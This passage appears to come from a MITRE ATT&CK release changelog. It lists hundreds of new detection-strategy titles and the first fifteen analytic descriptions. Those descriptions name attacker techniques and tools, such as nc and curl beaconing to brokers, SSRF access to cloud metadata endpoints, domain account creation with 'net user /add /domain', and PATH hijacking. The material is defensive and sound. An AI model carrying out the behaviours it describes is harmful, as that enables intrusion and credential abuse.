[DET0145] Detection of Disabled or Modified System Firewalls across OS Platforms.

Current version: 1.0


[DET0847] Detection of Domain Properties

Current version: 1.0


[DET0007] Detection of Domain Trust Discovery via API, Script, and CLI Enumeration

Current version: 1.0


[DET0270] Detection of Domain or Tenant Policy Modifications via AD and Identity Provider

Current version: 1.0


[DET0863] Detection of Domains

Current version: 1.0


[DET0892] Detection of Domains

Current version: 1.0


[DET0825] Detection of Drive-by Target

Current version: 1.0


[DET0861] Detection of Email Accounts

Current version: 1.0


[DET0835] Detection of Email Accounts

Current version: 1.0


[DET0814] Detection of Email Addresses

Current version: 1.0


[DET0857] Detection of Employee Names

Current version: 1.0


[DET0873] Detection of Establish Accounts

Current version: 1.0


[DET0532] Detection of Event Log Clearing on Windows via Behavioral Chain

Current version: 1.0


[DET0077] Detection of Exfiltration Over Alternate Network Interfaces

Current version: 1.0


[DET0512] Detection of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Current version: 1.0


[DET0149] Detection of Exfiltration Over Unencrypted Non-C2 Protocol

Current version: 1.0


[DET0827] Detection of Exploits

Current version: 1.0


[DET0894] Detection of Exploits

Current version: 1.0


[DET0416] Detection of File Transfer Protocol-Based C2 (FTP, FTPS, SMB, TFTP)

Current version: 1.0


[DET0818] Detection of Firmware

Current version: 1.0


[DET0826] Detection of Gather Victim Host Information

Current version: 1.0


[DET0841] Detection of Gather Victim Identity Information

Current version: 1.0


[DET0869] Detection of Gather Victim Network Information

Current version: 1.0


[DET0890] Detection of Gather Victim Org Information

Current version: 1.0


[DET0305] Detection of Group Policy Modifications via AD Object Changes and File Activity

Current version: 1.0


[DET0887] Detection of Hardware

Current version: 1.0


[DET0815] Detection of IP Addresses

Current version: 1.0


[DET0849] Detection of Identify Business Tempo

Current version: 1.0


[DET0807] Detection of Identify Roles

Current version: 1.0


[DET0497] Detection of Impair Defenses through Disabled or Modified Tools across OS Platforms.

Current version: 1.0


[DET0840] Detection of Install Digital Certificate

Current version: 1.0


[DET0377] Detection of Kernel/User-Level Rootkit Behavior Across Platforms

Current version: 1.0


[DET0437] Detection of LSA Secrets Dumping via Registry and Memory Extraction

Current version: 1.0


[DET0434] Detection of Launch Agent Creation or Modification on macOS

Current version: 1.0


[DET0041] Detection of Lifecycle Policy Modifications for Triggered Deletion in IaaS Cloud Storage

Current version: 1.0


[DET0893] Detection of Link Target

Current version: 1.0


[DET0407] Detection of Local Account Abuse for Initial Access and Persistence

Current version: 1.0


[DET0013] Detection of Local Browser Artifact Access for Reconnaissance

Current version: 1.0


[DET0380] Detection of Local Data Collection Prior to Exfiltration

Current version: 1.0


[DET0261] Detection of Local Data Staging Prior to Exfiltration

Current version: 1.0


[DET0135] Detection of Mail Protocol-Based C2 Activity (SMTP, IMAP, POP3)

Current version: 1.0


[DET0138] Detection of Malicious Code Execution via InstallUtil.exe

Current version: 1.0


[DET0194] Detection of Malicious Control Panel Item Execution via control.exe or Rundll32

Current version: 1.0


[DET0206] Detection of Malicious Kubernetes CronJob Scheduling

Current version: 1.0


[DET0328] Detection of Malicious Profile Installation via CMSTP.exe

Current version: 1.0


[DET0092] Detection of Malicious or Unauthorized Software Extensions

Current version: 1.0


[DET0836] Detection of Malvertising

Current version: 1.0


[DET0872] Detection of Malware

Current version: 1.0


[DET0845] Detection of Malware

Current version: 1.0


[DET0439] Detection of Malware Relocation via Suspicious File Movement

Current version: 1.0


[DET0117] Detection of Masqueraded Tasks or Services with Suspicious Naming and Execution

Current version: 1.0


[DET0158] Detection of Msiexec Abuse for Local, Network, and DLL Execution

Current version: 1.0


[DET0215] Detection of Multi-Platform File Encryption for Impact

Current version: 1.0


[DET0132] Detection of Mutex-Based Execution Guardrails Across Platforms

Current version: 1.0


[DET0586] Detection of NTDS.dit Credential Dumping from Domain Controllers

Current version: 1.0


[DET0859] Detection of Network Devices

Current version: 1.0


[DET0889] Detection of Network Security Appliances

Current version: 1.0


[DET0819] Detection of Network Topology

Current version: 1.0


[DET0828] Detection of Network Trust Dependencies

Current version: 1.0


[DET0457] Detection of Non-Application Layer Protocols for C2

Current version: 1.0


[DET0850] Detection of Obtain Capabilities

Current version: 1.0


[DET0040] Detection of Persistence Artifact Removal Across Host Platforms

Current version: 1.0


[DET0823] Detection of Phishing for Information

Current version: 1.0


[DET0081] Detection of Proxy Execution via Trusted Signed Binaries Across Platforms

Current version: 1.0


[DET0445] Detection of Proxy Infrastructure Setup and Traffic Bridging

Current version: 1.0


[DET0880] Detection of Purchase Technical Data

Current version: 1.0


[DET0209] Detection of Registry Query for Environmental Discovery

Current version: 1.0


[DET0071] Detection of Remote Data Staging Prior to Exfiltration

Current version: 1.0


[DET0079] Detection of Remote Service Session Hijacking

Current version: 1.0


[DET0881] Detection of SEO Poisoning

Current version: 1.0


[DET0858] Detection of Scan Databases

Current version: 1.0


[DET0817] Detection of Scanning IP Blocks

Current version: 1.0


[DET0466] Detection of Script-Based Proxy Execution via Signed Microsoft Utilities

Current version: 1.0


[DET0822] Detection of Search Closed Sources

Current version: 1.0


[DET0811] Detection of Search Engines

Current version: 1.0


[DET0860] Detection of Search Open Technical Databases

Current version: 1.0


[DET0856] Detection of Search Open Websites/Domains

Current version: 1.0


[DET0866] Detection of Search Threat Vendor Data

Current version: 1.0


[DET0810] Detection of Search Victim-Owned Websites

Current version: 1.0


[DET0897] Detection of Selective Exclusion

Current version: 1.0


[DET0874] Detection of Server

Current version: 1.0


[DET0871] Detection of Server

Current version: 1.0


[DET0829] Detection of Serverless

Current version: 1.0


[DET0864] Detection of Serverless

Current version: 1.0


[DET0812] Detection of Social Media

Current version: 1.0


[DET0870] Detection of Social Media Accounts

Current version: 1.0


[DET0851] Detection of Social Media Accounts

Current version: 1.0


[DET0888] Detection of Software

Current version: 1.0


[DET0865] Detection of Spearphishing Attachment

Current version: 1.0


[DET0878] Detection of Spearphishing Link

Current version: 1.0


[DET0821] Detection of Spearphishing Service

Current version: 1.0


[DET0886] Detection of Spearphishing Voice

Current version: 1.0


[DET0898] Detection of Spoofed User-Agent

Current version: 1.0


[DET0839] Detection of Stage Capabilities

Current version: 1.0


[DET0342] Detection of Suspicious Compiled HTML File Execution via hh.exe

Current version: 1.0


[DET0441] Detection of Suspicious Scheduled Task Creation and Execution on Windows

Current version: 1.0


[DET0320] Detection of System Network Connections Discovery Across Platforms

Current version: 1.0


[DET0571] Detection of System Process Creation or Modification Across Platforms

Current version: 1.0


[DET0483] Detection of System Service Discovery Commands Across OS Platforms

Current version: 1.0


[DET0253] Detection of Systemd Service Creation or Modification on Linux

Current version: 1.0


[DET0471] Detection of Tainted Content Written to Shared Storage

Current version: 1.0


[DET0816] Detection of Threat Intel Vendors

Current version: 1.0


[DET0852] Detection of Tool

Current version: 1.0


[DET0458] Detection of Trust Relationship Modifications in Domain or Tenant Policies

Current version: 1.0


[DET0220] Detection of USB-Based Data Exfiltration

Current version: 1.0


[DET0594] Detection of Unauthorized DCSync Operations via Replication API Abuse

Current version: 1.0


[DET0824] Detection of Upload Malware

Current version: 1.0


[DET0834] Detection of Upload Tool

Current version: 1.0


[DET0560] Detection of Valid Account Abuse Across Platforms

Current version: 1.0


[DET0838] Detection of Virtual Private Server

Current version: 1.0


[DET0854] Detection of Virtual Private Server

Current version: 1.0


[DET0808] Detection of Vulnerabilities

Current version: 1.0


[DET0867] Detection of Vulnerability Scanning

Current version: 1.0


[DET0832] Detection of WHOIS

Current version: 1.0


[DET0027] Detection of Web Protocol-Based C2 Over HTTP, HTTPS, or WebSockets

Current version: 1.0


[DET0896] Detection of Web Services

Current version: 1.0


[DET0882] Detection of Web Services

Current version: 1.0


[DET0509] Detection of Web Session Cookie Theft via File, Memory, and Network Artifacts

Current version: 1.0


[DET0552] Detection of Windows Service Creation or Modification

Current version: 1.0


[DET0868] Detection of Wordlist Scanning

Current version: 1.0


[DET0055] Detection strategy for Group Policy Discovery on Windows

Current version: 1.0


[DET0343] Direct Network Flood Detection across IaaS, Linux, Windows, and macOS

Current version: 1.0


[DET0487] Distributed Password Spraying via Authentication Failures Across Multiple Accounts

Current version: 1.0


[DET0129] Domain Account Enumeration Across Platforms

Current version: 1.0


[DET0196] Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers

Current version: 1.0


[DET0176] Drive-by Compromise — Behavior-based, Multi-platform Detection Strategy (T1189)

Current version: 1.0


[DET0476] Email Collection via Local Email Access and Auto-Forwarding Behavior

Current version: 1.0


[DET0576] Email Forwarding Rule Abuse Detection Across Platforms

Current version: 1.0


[DET0087] Encrypted or Encoded File Payload Detection Strategy

Current version: 1.0


[DET0356] Endpoint DoS via OS Exhaustion Flood Detection Strategy

Current version: 1.0


[DET0208] Endpoint Resource Saturation and Crash Pattern Detection Across Platforms

Current version: 1.0


[DET0229] Enumeration of Global Address Lists via Email Account Discovery

Current version: 1.0


[DET0587] Enumeration of User or Account Information Across Platforms

Current version: 1.0


[DET0474] Environmental Keying Discovery-to-Decryption Behavioral Chain Detection Strategy

Current version: 1.0


[DET0080] Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress)

Current version: 1.0


[DET0287] Exploitation for Client Execution – cross-platform behavior chain (browser/Office/3rd-party apps)

Current version: 1.0


[DET0118] Exploitation of Remote Services – multi-platform lateral movement detection

Current version: 1.0


[DET0325] External Proxy Behavior via Outbound Relay to Intermediate Infrastructure

Current version: 1.0


[DET0167] Firmware Modification via Flash Tool or Corrupted Firmware Upload

Current version: 1.0


[DET0368] Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks

Current version: 1.0


[DET0133] IDE Tunneling Detection via Process, File, and Network Behaviors

Current version: 1.0


[DET0200] Indirect Command Execution – Windows utility abuse behavior chain

Current version: 1.0


[DET0075] Internal Proxy Behavior via Lateral Host-to-Host C2 Relay

Current version: 1.0


[DET0054] Internal Spearphishing via Trusted Accounts

Current version: 1.0


[DET0082] Internal Website and System Content Defacement via UI or Messaging Modifications

Current version: 1.0


[DET0031] Invalid Code Signature Execution Detection via Metadata and Behavioral Context

Current version: 1.0


[DET0390] Linux Detection Strategy for T1547.013 - XDG Autostart Entries

Current version: 1.0


[DET0258] Linux Python Startup Hook Persistence via .pth and Customize Files (T1546.018)

Current version: 1.0


[DET0303] Local Account Enumeration Across Host Platforms

Current version: 1.0


[DET0188] Local Storage Discovery via Drive Enumeration and Filesystem Probing

Current version: 1.0


[DET0292] Masquerading via Space After Filename - Behavioral Detection Strategy

Current version: 1.0


[DET0285] Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution

Current version: 1.0


[DET0530] Multi-Event Detection for SMB Admin Share Lateral Movement

Current version: 1.0


[DET0540] Multi-Platform Behavioral Detection for Compute Hijacking

Current version: 1.0


[DET0484] Multi-Platform Cloud Storage Exfiltration Behavior Chain

Current version: 1.0


[DET0372] Multi-Platform Detection Strategy for T1678 - Delay Execution

Current version: 1.0


[DET0562] Multi-Platform Execution Guardrails Environmental Validation Detection Strategy

Current version: 1.0


[DET0299] Multi-Platform File and Directory Permissions Modification Detection Strategy

Current version: 1.0


[DET0559] Multi-Platform Shutdown or Reboot Detection via Execution and Host Status Events

Current version: 1.0


[DET0392] Multi-Platform Software Discovery Behavior Chain

Current version: 1.0


[DET0327] Multi-event Detection Strategy for RDP-Based Remote Logins and Post-Access Activity

Current version: 1.0


[DET0359] Multi-hop Proxy Behavior via Relay Node Chaining, Onion Routing, and Network Tunneling

Current version: 1.0


[DET0023] Obfuscated Binary Unpacking Detection via Behavioral Patterns

Current version: 1.0


[DET0551] Password Guessing via Multi-Source Authentication Failure Correlation

Current version: 1.0


[DET0161] Password Policy Discovery – cross-platform behavior-chain analytics

Current version: 1.0


[DET0491] Peripheral Device Enumeration via System Utilities and API Calls

Current version: 1.0


[DET0302] Port-knock → rule/daemon change → first successful connect (T1205.001)

Current version: 1.0


[DET0105] Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools

Current version: 1.0


[DET0358] Programmatic and Excessive Access to Confluence Documentation

Current version: 1.0


[DET0370] Recursive Enumeration of Files and Directories Across Privilege Contexts

Current version: 1.0


[DET0542] Registry and LSASS Monitoring for Security Support Provider Abuse

Current version: 1.0


[DET0259] Remote Desktop Software Execution and Beaconing Detection

Current version: 1.0


[DET0301] Removable Media Execution Chain Detection via File and Process Activity

Current version: 1.0


[DET0005] Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path

Current version: 1.0


[DET0267] Resource Hijacking Detection Strategy

Current version: 1.0


[DET0527] Right-to-Left Override Masquerading Detection via Filename and Execution Context

Current version: 1.0


[DET0016] Security Software Discovery Across Platforms

Current version: 1.0


[DET0110] Setuid/Setgid Privilege Abuse Detection (Linux/macOS)

Current version: 1.0


[DET0162] Socket-filter trigger → on-host raw-socket activity → reverse connection (T1205.002)

Current version: 1.0


[DET0009] Supply-chain tamper in dependencies/dev-tools (manager→write/install→first-run→egress)

Current version: 1.0


[DET0310] Suspicious Addition to Local or Domain Groups

Current version: 1.0


[DET0242] Suspicious Database Access and Dump Activity Across Environments (T1213.006)

Current version: 1.0


[DET0036] Suspicious Device Registration via Entra ID or MFA Platform

Current version: 1.0


[DET0572] Suspicious RoleBinding or ClusterRoleBinding Assignment in Kubernetes

Current version: 1.0


[DET0425] Suspicious Use of Web Services for C2

Current version: 1.0


[DET0525] System Discovery via Native and Remote Utilities

Current version: 1.0


[DET0447] T1136.001 Detection Strategy - Local Account Creation Across Platforms

Current version: 1.0


[DET0003] T1136.002 Detection Strategy - Domain Account Creation Across Platforms

Current version: 1.0


[DET0534] TCC Database Manipulation via Launchctl and Unprotected SIP

Current version: 1.0


[DET0566] Template Injection Detection - Windows

Current version: 1.0


[DET0524] Traffic Signaling (Port-knock / magic-packet → firewall or service activation) – T1205

Current version: 1.0


[DET0306] Unauthorized Network Firewall Rule Modification (T1562.013)

Current version: 1.0


[DET0351] Unix-like File Permission Manipulation Behavioral Chain Detection Strategy

Current version: 1.0


[DET0340] User Execution – Malicious Copy & Paste (browser/email → shell with obfuscated one-liner) – T1204.004

Current version: 1.0


[DET0294] User Execution – Malicious File via download/open → spawn chain (T1204.002)

Current version: 1.0


[DET0248] User Execution – Malicious Image (containers & IaaS) – pull/run → start → anomalous behavior (T1204.003)

Current version: 1.0


[DET0066] User Execution – Malicious Link (click → suspicious egress → download/write → follow-on activity)

Current version: 1.0


[DET0478] User Execution – multi-surface behavior chain (documents/links → helper/unpacker → LOLBIN/child → egress)

Current version: 1.0


[DET0252] User-Initiated Malicious Library Installation via Package Manager (T1204.005)

Current version: 1.0


[DET0168] Virtualization/Sandbox Evasion via System Checks across Windows, Linux, macOS

Current version: 1.0


[DET0394] Web Shell Detection via Server Behavior and File Execution Chains

Current version: 1.0


[DET0481] Windows COM Hijacking Detection via Registry and DLL Load Correlation

Current version: 1.0


[DET0418] Windows DACL Manipulation Behavioral Chain Detection Strategy

Current version: 1.0


[DET0026] Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence

Current version: 1.0


[DET0395] macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection

Current version: 1.0

mobile-attack

New Detection Strategies

[DET0697] Detection of Abuse Accessibility Features

Current version: 1.0


[DET0642] Detection of Abuse Elevation Control Mechanism

Current version: 1.0


[DET0611] Detection of Access Notifications

Current version: 1.0


[DET0605] Detection of Account Access Removal

Current version: 1.0


[DET0635] Detection of Accounts

Current version: 1.0


[DET0623] Detection of Adversary-in-the-Middle

Current version: 1.0


[DET0685] Detection of Application Layer Protocol

Current version: 1.0


[DET0652] Detection of Application Versioning

Current version: 1.0


[DET0670] Detection of Archive Collected Data

Current version: 1.0


[DET0667] Detection of Asymmetric Cryptography

Current version: 1.0


[DET0673] Detection of Audio Capture

Current version: 1.0


[DET0700] Detection of Bidirectional Communication

Current version: 1.0


[DET0654] Detection of Boot or Logon Initialization Scripts

Current version: 1.0


[DET0711] Detection of Broadcast Receivers

Current version: 1.0


[DET0674] Detection of Calendar Entries

Current version: 1.0


[DET0703] Detection of Call Control

Current version: 1.0


[DET0602] Detection of Call Log

Current version: 1.0


[DET0643] Detection of Clipboard Data

Current version: 1.0


[DET0619] Detection of Code Signing Policy Modification

Current version: 1.0


[DET0655] Detection of Command and Scripting Interpreter

Current version: 1.0


[DET0649] Detection of Compromise Application Executable

Current version: 1.0


[DET0712] Detection of Compromise Client Software Binary

Current version: 1.0


[DET0604] Detection of Compromise Hardware Supply Chain

Current version: 1.0


[DET0704] Detection of Compromise Software Dependencies and Development Tools

Current version: 1.0


[DET0721] Detection of Compromise Software Supply Chain

Current version: 1.0


[DET0659] Detection of Conceal Multimedia Files

Current version: 1.0


[DET0679] Detection of Contact List

Current version: 1.0


[DET0633] Detection of Credentials from Password Store

Current version: 1.0


[DET0671] Detection of Data Destruction

Current version: 1.0


[DET0678] Detection of Data Encrypted for Impact

Current version: 1.0


[DET0660] Detection of Data Manipulation

Current version: 1.0


[DET0713] Detection of Data from Local System

Current version: 1.0


[DET0617] Detection of Dead Drop Resolver

Current version: 1.0


[DET0630] Detection of Device Administrator Permissions

Current version: 1.0


[DET0603] Detection of Device Lockout

Current version: 1.0


[DET0693] Detection of Disable or Modify Tools

Current version: 1.0


[DET0710] Detection of Disguise Root/Jailbreak Indicators

Current version: 1.0


[DET0669] Detection of Domain Generation Algorithms

Current version: 1.0


[DET0618] Detection of Download New Code at Runtime

Current version: 1.0


[DET0614] Detection of Drive-By Compromise

Current version: 1.0


[DET0613] Detection of Dynamic Resolution

Current version: 1.0


[DET0641] Detection of Encrypted Channel

Current version: 1.0


[DET0627] Detection of Endpoint Denial of Service

Current version: 1.0


[DET0647] Detection of Event Triggered Execution

Current version: 1.0


[DET0653] Detection of Execution Guardrails

Current version: 1.0


[DET0698] Detection of Exfiltration Over Alternative Protocol

Current version: 1.0


[DET0615] Detection of Exfiltration Over C2 Channel

Current version: 1.0


[DET0701] Detection of Exfiltration Over Unencrypted Non-C2 Protocol

Current version: 1.0


[DET0629] Detection of Exploitation for Client Execution

Current version: 1.0


[DET0666] Detection of Exploitation for Initial Access

Current version: 1.0


[DET0665] Detection of Exploitation for Privilege Escalation

Current version: 1.0


[DET0663] Detection of Exploitation of Remote Services

Current version: 1.0


[DET0638] Detection of File Deletion

Current version: 1.0


[DET0682] Detection of File and Directory Discovery

Current version: 1.0


[DET0637] Detection of Foreground Persistence

Current version: 1.0


[DET0676] Detection of GUI Input Capture

Current version: 1.0


[DET0608] Detection of Generate Traffic from Victim

Current version: 1.0


[DET0648] Detection of Geofencing

Current version: 1.0


[DET0640] Detection of Hide Artifacts

Current version: 1.0


[DET0694] Detection of Hijack Execution Flow

Current version: 1.0


[DET0719] Detection of Hooking

Current version: 1.0


[DET0687] Detection of Impair Defenses

Current version: 1.0


[DET0662] Detection of Impersonate SS7 Nodes

Current version: 1.0


[DET0651] Detection of Indicator Removal on Host

Current version: 1.0


[DET0718] Detection of Ingress Tool Transfer

Current version: 1.0


[DET0705] Detection of Input Capture

Current version: 1.0


[DET0612] Detection of Input Injection

Current version: 1.0


[DET0708] Detection of Internet Connection Discovery

Current version: 1.0


[DET0664] Detection of Keychain

Current version: 1.0


[DET0661] Detection of Keylogging

Current version: 1.0


[DET0716] Detection of Linked Devices

Current version: 1.0


[DET0675] Detection of Location Tracking

Current version: 1.0


[DET0645] Detection of Lockscreen Bypass

Current version: 1.0


[DET0715] Detection of Masquerading

Current version: 1.0


[DET0609] Detection of Match Legitimate Name or Location

Current version: 1.0


[DET0717] Detection of Native API

Current version: 1.0


[DET0639] Detection of Network Denial of Service

Current version: 1.0


[DET0696] Detection of Network Service Scanning

Current version: 1.0


[DET0706] Detection of Non-Standard Port

Current version: 1.0


[DET0720] Detection of Obfuscated Files or Information

Current version: 1.0


[DET0610] Detection of One-Way Communication

Current version: 1.0


[DET0688] Detection of Out of Band Data

Current version: 1.0


[DET0684] Detection of Phishing

Current version: 1.0


[DET0598] Detection of Prevent Application Removal

Current version: 1.0


[DET0692] Detection of Process Discovery

Current version: 1.0


[DET0632] Detection of Process Injection

Current version: 1.0


[DET0681] Detection of Protected User Data

Current version: 1.0


[DET0631] Detection of Proxy Through Victim

Current version: 1.0


[DET0622] Detection of Ptrace System Calls

Current version: 1.0


[DET0624] Detection of Remote Access Software

Current version: 1.0


[DET0702] Detection of Remote Device Management Services

Current version: 1.0


[DET0691] Detection of Replication Through Removable Media

Current version: 1.0


[DET0658] Detection of SIM Card Swap

Current version: 1.0


[DET0599] Detection of SMS Control

Current version: 1.0


[DET0686] Detection of SMS Messages

Current version: 1.0


[DET0646] Detection of SSL Pinning

Current version: 1.0


[DET0707] Detection of Scheduled Task/Job

Current version: 1.0


[DET0668] Detection of Screen Capture

Current version: 1.0


[DET0680] Detection of Security Software Discovery

Current version: 1.0


[DET0600] Detection of Software Discovery

Current version: 1.0


[DET0644] Detection of Software Packing

Current version: 1.0


[DET0656] Detection of Steal Application Access Token

Current version: 1.0


[DET0677] Detection of Steganography

Current version: 1.0


[DET0621] Detection of Stored Application Data

Current version: 1.0


[DET0657] Detection of Subvert Trust Controls

Current version: 1.0


[DET0628] Detection of Supply Chain Compromise

Current version: 1.0


[DET0714] Detection of Suppress Application Icon

Current version: 1.0


[DET0650] Detection of Symmetric Cryptography

Current version: 1.0


[DET0625] Detection of System Checks

Current version: 1.0


[DET0601] Detection of System Information Discovery

Current version: 1.0


[DET0634] Detection of System Network Configuration Discovery

Current version: 1.0


[DET0636] Detection of System Network Connections Discovery

Current version: 1.0


[DET0689] Detection of System Runtime API Hijacking

Current version: 1.0


[DET0683] Detection of Transmitted Data Manipulation

Current version: 1.0


[DET0626] Detection of URI Hijacking

Current version: 1.0


[DET0690] Detection of Uninstall Malicious Application

Current version: 1.0


[DET0607] Detection of Unix Shell

Current version: 1.0


[DET0699] Detection of User Evasion

Current version: 1.0


[DET0695] Detection of Video Capture

Current version: 1.0


[DET0606] Detection of Virtualization Solution

Current version: 1.0


[DET0616] Detection of Virtualization/Sandbox Evasion

Current version: 1.0


[DET0620] Detection of Web Protocols

Current version: 1.0


[DET0672] Detection of Web Service

Current version: 1.0


[DET0709] Detection of Wi-Fi Discovery

Current version: 1.0

ics-attack

New Detection Strategies

[DET0802] Detection of Activate Firmware Update Mode

Current version: 1.0


[DET0764] Detection of Adversary-in-the-Middle

Current version: 1.0


[DET0728] Detection of Alarm Suppression

Current version: 1.0


[DET0734] Detection of Automated Collection

Current version: 1.0


[DET0748] Detection of Autorun Image

Current version: 1.0


[DET0784] Detection of Block Command Message

Current version: 1.0


[DET0789] Detection of Block Reporting Message

Current version: 1.0


[DET0797] Detection of Block Serial COM

Current version: 1.0


[DET0737] Detection of Brute Force I/O

Current version: 1.0


[DET0771] Detection of Change Credential

Current version: 1.0


[DET0755] Detection of Change Operating Mode

Current version: 1.0


[DET0760] Detection of Command-Line Interface

Current version: 1.0


[DET0736] Detection of Commonly Used Port

Current version: 1.0


[DET0759] Detection of Connection Proxy

Current version: 1.0


[DET0762] Detection of Damage to Property

Current version: 1.0


[DET0758] Detection of Data Destruction

Current version: 1.0


[DET0754] Detection of Data from Information Repositories

Current version: 1.0


[DET0749] Detection of Data from Local System

Current version: 1.0


[DET0756] Detection of Default Credentials

Current version: 1.0


[DET0786] Detection of Denial of Control

Current version: 1.0


[DET0723] Detection of Denial of Service

Current version: 1.0


[DET0769] Detection of Denial of View

Current version: 1.0


[DET0768] Detection of Detect Operating Mode

Current version: 1.0


[DET0801] Detection of Device Restart/Shutdown

Current version: 1.0


[DET0782] Detection of Drive-by Compromise

Current version: 1.0


[DET0742] Detection of Execution through API

Current version: 1.0


[DET0740] Detection of Exploit Public-Facing Application

Current version: 1.0


[DET0795] Detection of Exploitation for Evasion

Current version: 1.0


[DET0738] Detection of Exploitation for Privilege Escalation

Current version: 1.0


[DET0767] Detection of Exploitation of Remote Services

Current version: 1.0


[DET0803] Detection of External Remote Services

Current version: 1.0


[DET0772] Detection of Graphical User Interface

Current version: 1.0


[DET0798] Detection of Hardcoded Credentials

Current version: 1.0


[DET0722] Detection of Hooking

Current version: 1.0


[DET0774] Detection of I/O Image

Current version: 1.0


[DET0750] Detection of Indicator Removal on Host

Current version: 1.0


[DET0796] Detection of Internet Accessible Device

Current version: 1.0


[DET0745] Detection of Lateral Tool Transfer

Current version: 1.0


[DET0729] Detection of Loss of Availability

Current version: 1.0


[DET0778] Detection of Loss of Control

Current version: 1.0


[DET0757] Detection of Loss of Productivity and Revenue

Current version: 1.0


[DET0775] Detection of Loss of Protection

Current version: 1.0


[DET0779] Detection of Loss of Safety

Current version: 1.0


[DET0763] Detection of Loss of View

Current version: 1.0


[DET0773] Detection of Manipulate I/O Image

Current version: 1.0


[DET0747] Detection of Manipulation of Control

Current version: 1.0


[DET0785] Detection of Manipulation of View

Current version: 1.0


[DET0725] Detection of Masquerading

Current version: 1.0


[DET0777] Detection of Modify Alarm Settings

Current version: 1.0


[DET0741] Detection of Modify Controller Tasking

Current version: 1.0


[DET0776] Detection of Modify Parameter

Current version: 1.0


[DET0783] Detection of Modify Program

Current version: 1.0


[DET0790] Detection of Module Firmware

Current version: 1.0


[DET0727] Detection of Monitor Process State

Current version: 1.0


[DET0753] Detection of Native API

Current version: 1.0


[DET0770] Detection of Network Connection Enumeration

Current version: 1.0


[DET0800] Detection of Network Sniffing

Current version: 1.0


[DET0788] Detection of Point & Tag Identification

Current version: 1.0


[DET0752] Detection of Program Download

Current version: 1.0


[DET0761] Detection of Program Upload

Current version: 1.0


[DET0766] Detection of Project File Infection

Current version: 1.0


[DET0804] Detection of Remote Services

Current version: 1.0


[DET0739] Detection of Remote System Discovery

Current version: 1.0


[DET0787] Detection of Remote System Information Discovery

Current version: 1.0


[DET0733] Detection of Replication Through Removable Media

Current version: 1.0


[DET0792] Detection of Rogue Master

Current version: 1.0


[DET0780] Detection of Rootkit

Current version: 1.0


[DET0751] Detection of Screen Capture

Current version: 1.0


[DET0735] Detection of Scripting

Current version: 1.0


[DET0765] Detection of Service Stop

Current version: 1.0


[DET0781] Detection of Spearphishing Attachment

Current version: 1.0


[DET0746] Detection of Spoof Reporting Message

Current version: 1.0


[DET0799] Detection of Standard Application Layer Protocol

Current version: 1.0


[DET0730] Detection of Supply Chain Compromise

Current version: 1.0


[DET0793] Detection of System Binary Proxy Execution

Current version: 1.0


[DET0731] Detection of System Firmware

Current version: 1.0


[DET0732] Detection of Theft of Operational Information

Current version: 1.0


[DET0744] Detection of Transient Cyber Asset

Current version: 1.0


[DET0794] Detection of Unauthorized Command Message

Current version: 1.0


[DET0791] Detection of User Execution

Current version: 1.0


[DET0724] Detection of Valid Accounts

Current version: 1.0


[DET0726] Detection of Wireless Compromise

Current version: 1.0


[DET0743] Detection of Wireless Sniffing

Current version: 1.0

Analytics

enterprise-attack

New Analytics

[AN0001] Analytic 0001

Current version: 1.0

Description:

Detects access attempts to cloud instance metadata endpoints (e.g., 169.254.169.254) from virtual machines or containerized workloads. This includes both direct access and SSRF exploitation patterns.


[AN0002] Analytic 0002

Current version: 1.0

Description:

Detects non-standard processes (e.g., PowerShell, python.exe, rundll32.exe) making outbound connections using publish/subscribe protocols (e.g., MQTT, AMQP) over non-browser, encrypted channels, often beaconing to message brokers.


[AN0003] Analytic 0003

Current version: 1.0

Description:

Detects CLI tools (e.g., mosquitto_pub, nc, python scripts) interacting with pub/sub brokers using unusual topic names, high-frequency publication rates, or obfuscated payloads to non-standard hosts.


[AN0004] Analytic 0004

Current version: 1.0

Description:

Detects osascript, curl, or custom binaries interacting with XMPP/MQTT brokers in unapproved destinations with encrypted payloads or frequent POST-like requests to broker URIs.


[AN0005] Analytic 0005

Current version: 1.0

Description:

Detects pub/sub traffic over unusual ports, high-frequency topic publications, and connections to known-bad or dynamic broker endpoints outside allowlisted infrastructure.


[AN0006] Analytic 0006

Current version: 1.0

Description:

Adversary uses built-in tools such as 'net user /add /domain' or PowerShell to create a domain user account. The behavior chain includes: (1) suspicious process execution on a domain controller followed by (2) user account creation event (Event ID 4720) on the same host.


[AN0007] Analytic 0007

Current version: 1.0

Description:

Adversary with access to domain management tools (e.g., realmd, samba-tool, ldapmodify) creates a new domain user via command-line utilities. Behavior chain: LDAP command or script triggers → user entry added in AD via Kerberos/LDAP traffic.


[AN0008] Analytic 0008

Current version: 1.0

Description:

macOS clients joined to AD via LDAP may script account provisioning via dsconfigad, dscl, or LDAP scripts. Detection occurs when such tools run on a domain-joined system, followed by authentication attempts by a previously unseen account.


[AN0009] Analytic 0009

Current version: 1.0

Description:

Abnormal modification of the PATH environment variable or registry keys controlling system paths, combined with execution of binaries named after legitimate system tools from user-writable directories. Defender correlates registry modifications, file creation of suspicious binaries, and process execution paths inconsistent with baseline system directories.


[AN0010] Analytic 0010

Current version: 1.0

Description:

User modification of the $PATH environment variable in shell configuration files or direct runtime PATH changes, followed by execution of binaries from user-controlled directories. Defender observes file edits to ~/.bashrc, ~/.profile, or /etc/paths.d and process execution resolving to unexpected binary locations.


[AN0011] Analytic 0011

Current version: 1.0

Description:

Modification of PATH or HOME environment variables through shell config files, launchctl, or /etc/paths.d entries, combined with process execution from attacker-controlled directories. Defender correlates file changes in /etc/paths.d with process execution resolving to malicious binaries.


[AN0012] Analytic 0012

Current version: 1.0

Description:

Execution of binaries where the on-disk filename does not match PE metadata such as OriginalFilename or InternalName. Often observed with renamed LOLBAS or system binaries like rundll32, powershell, or psexec.


[AN0013] Analytic 0013

Current version: 1.0

Description:

Execution of renamed or relocated native macOS utilities with uncommon names or non-default paths (e.g., renamed osascript, bash, or curl).


[AN0014] Analytic 0014

Current version: 1.0

Description:

Execution of renamed common utilities (e.g., bash, nc, python, sh) from atypical directories or with names intended to deceive defenders or EDRs.


[AN0015] Analytic 0015

Current version: 1.0

